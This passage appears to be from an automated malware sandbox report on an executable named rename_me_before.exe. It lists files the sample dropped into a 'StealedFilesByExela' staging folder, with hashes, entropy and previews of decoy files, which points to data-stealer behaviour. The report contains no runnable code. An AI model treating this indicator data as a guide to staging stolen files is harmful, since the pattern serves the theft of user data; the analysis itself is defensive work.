Preview:	PK...........Y................DTBZGIOOSO/PK...........Y................Desktop/PK...........Y................Documents/PK...........Y................Downloads/PK...........Y................ONBQCLYSPU/PK...........Y................UMMBDNEQBN/PK...........Y................VLZDGUKUTZ/PK...........Y................XZXHAVGRAG/PK........Q@DW................Desktop/BPMLNOBVSB.jpg..I.E!.......8...N.?H.-.".Jt-.X....#......a....u...8z.)..R...'....?tD..d.5.%}..O;......yl..4...g..[.=V..Y.gJM....c..cb.EF......C;&.^R...p..<.rQ..R......Vz....\|....C.x.b.O..$\&..23Xj%...\]....BJ....).fh..\|.rD.<.8.d.....S4.eIg`.-.....~.Y.a&.........=..=6....S.hw...B.E.$v........iK..=../L..8...`....LK.X...'..X..7.....vy.q.6N[.\|f..v.O<.=:b...9e.o+..:y....3tL..{u.g.y..t..p"..a.Y.X...L...4=..FI.."..2....,.-.2Vm....^..1$..:.*..v......i...qk..#...<uWtD._....@.....p...6....\w?dw.10..l.>.Z........).c.h.D..8.r......F....u...;=...Lcj...q....u...+.}'...-..._....Y..m.......~_/...v&.5.;cB.r.u"

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\DVWHKMNFNN.jpg

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694985340190863
Encrypted:	false
SSDEEP:	24:fGg1AbmVALQm72DOg+8XDQzjmyhdsENw8TRlrlGpKTkA+oBK:fv1AiVAUmyDruzj37sENjlSKAA+oU
MD5:	C9386BC43BF8FA274422EB8AC6BAE1A9
SHA1:	2CBDE59ADA19F0389A4C482667EC370D68F51049
SHA-256:	F0CC9B94627F910F2A6307D911B1DDD7D1DB69BAD6068EF3331549F3A0877446
SHA-512:	7AACA07E8A4B34E0F75B16B6F30686AC3FB2D5CBDAD92E5934819F969BAFF59385FB8F997334313EA5938FD955D6175C4548D6B1F915D652D9D9201C9418EF83
Malicious:	true
Preview:	DVWHKMNFNNSXRPFRFSVVCQPXSKWHKPJJHYQWYYFONAJQSCOHZADBHUOWOSPDVAOIQVOBHGMIENZQZLABYDKWXGSUQNSEINIQSVMZZWTJLYMGYBQHIJSUWZKJPGBZUGFOXNAMLQTVGWDCYDMNHGVRTUWNHIWXJNQONTAXVVVCFDLWYDVWNMKHRFTZAVEQPXZHSEXPEHWUHPJZDMDXPYEJBYWZOQETVPLRKQRCYTAXMNRBOUJSCYZOUPOBJUWFDMUYFBXCBLZHFHONIURELJQVLWAJRIQCHHASBUAREPSIMJIZDUKJCHMMSSWSEDFHFQOUVYZORWJIUACXUVQKUMLXTQIKDBVNZOHJYYECOBYPNRILKERBHKZPVUSQLHAQRTPWCRMZADYONIIOVUWOBVHAUGZVAGTZTZBMHSOOQORENTXCJFMVWMGLOOXBDWANXXJQQTBDTWOSPFMFVQKLNTSHOPQMHYRYZMWDXVFGWFOSCSFMKCDDHTOQHBTQAFQTXPUHHEAKYRCQIODCCSHRSAJQEFRHCQLQVVMUHWOHHQJPSHCNKRLIRESUXLZIYSWDHHYZVRKLAGFLVTEJQHEEMVUUEQKQMTBDXFGSROZTNPLCVTEEZGUUCQUEKNMQFATATJRARXQQMZYEVACDAXILYPEHYTJOQWSFAJEGHIDIXMKDXPATNSATPECIMRBZNBXXVMGPLMVEKCUOXJWFGQSTWPMTEMRCYGXECVTNKYROYRYTPRDPCFGGKUUBXXSDFZEJCQRIRFLCNMPMLIGUCYPHMWYVAIPAAPHTQAYFSJWLSCZICIXZHXNKAKRHJVENGZTUTVWSNYDDYMWQHHAITLUZXNORBLYTBVCEBWBMSVZXNZMKYFPRFPLFCUSJUWNKQJIZRVZASPVFSUSBYQZZWKEORBDDRCYRBTIMTLHDTZRQUKYJIWHXVJYPEZSDLWZVPZGEYQPCSGGVJXXBUCNBXKQPZTMTVPZUETYYLRJEDWIHAZMS

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
